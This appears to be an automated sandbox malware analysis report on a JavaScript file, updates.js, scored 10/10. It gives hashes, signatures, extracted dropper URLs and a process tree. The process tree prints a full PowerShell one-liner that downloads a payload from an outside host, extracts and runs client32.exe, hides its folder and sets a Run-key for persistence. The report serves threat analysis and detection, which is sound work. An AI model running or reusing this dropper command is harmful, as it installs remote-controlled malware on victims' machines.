Analysis

  • max time kernel
    119s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    26-07-2024 20:11

General

  • Target

    updates.js

  • Size

    2.7MB

  • MD5

    1b17ec51d8be6e80d530e36aa0f8bb41

  • SHA1

    65aa99559627a07851e2f21aa465a4dc10e84e02

  • SHA256

    b36668956d6f6f8f789d39130d8b45f6794ec91b9a6b895512af6f88181a1f81

  • SHA512

    daf20dfbde0d7660cef950641697c239ac7fb6c5d7f928b5c5396cd578ed7e130b78f21db80a9721573807f6a02e6fbd8f9e46695803cac1fb2694e1a1d2166a

  • SSDEEP

    49152:DA4yxjzCgTpCffzZtrCP7sQs0iy/ss7+ZdhN6j4GusjtWsDtzXY7aIvJLwKXq2XI:4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://hhic.top/data.php?11163

exe.dropper

http://hhic.top/data.php?11163

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $WYTHVQSDZ='http://hhic.top/data.php?11163';$DOUVB=(New-Object System.Net.WebClient).DownloadString($WYTHVQSDZ);$CFBBFY=[System.Convert]::FromBase64String($DOUVB);$asd = Get-Random -Minimum -10 -Maximum 17; $WGYZUKPIEE=[System.Environment]::GetFolderPath('ApplicationData')+'\CPALDR'+$asd;if (!(Test-Path $WGYZUKPIEE -PathType Container)) { New-Item -Path $WGYZUKPIEE -ItemType Directory };$p=Join-Path $WGYZUKPIEE 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$CFBBFY);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$WGYZUKPIEE)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $WGYZUKPIEE 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $WGYZUKPIEE -Force; $fd.attributes='Hidden';$s=$WGYZUKPIEE+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HPRKEQMGKMK';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2484

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2484-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

    Filesize

    4KB

  • memory/2484-5-0x000000001B680000-0x000000001B962000-memory.dmp

    Filesize

    2.9MB

  • memory/2484-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2484-6-0x0000000002690000-0x0000000002698000-memory.dmp

    Filesize

    32KB

  • memory/2484-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2484-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2484-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2484-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2484-13-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

    Filesize

    9.6MB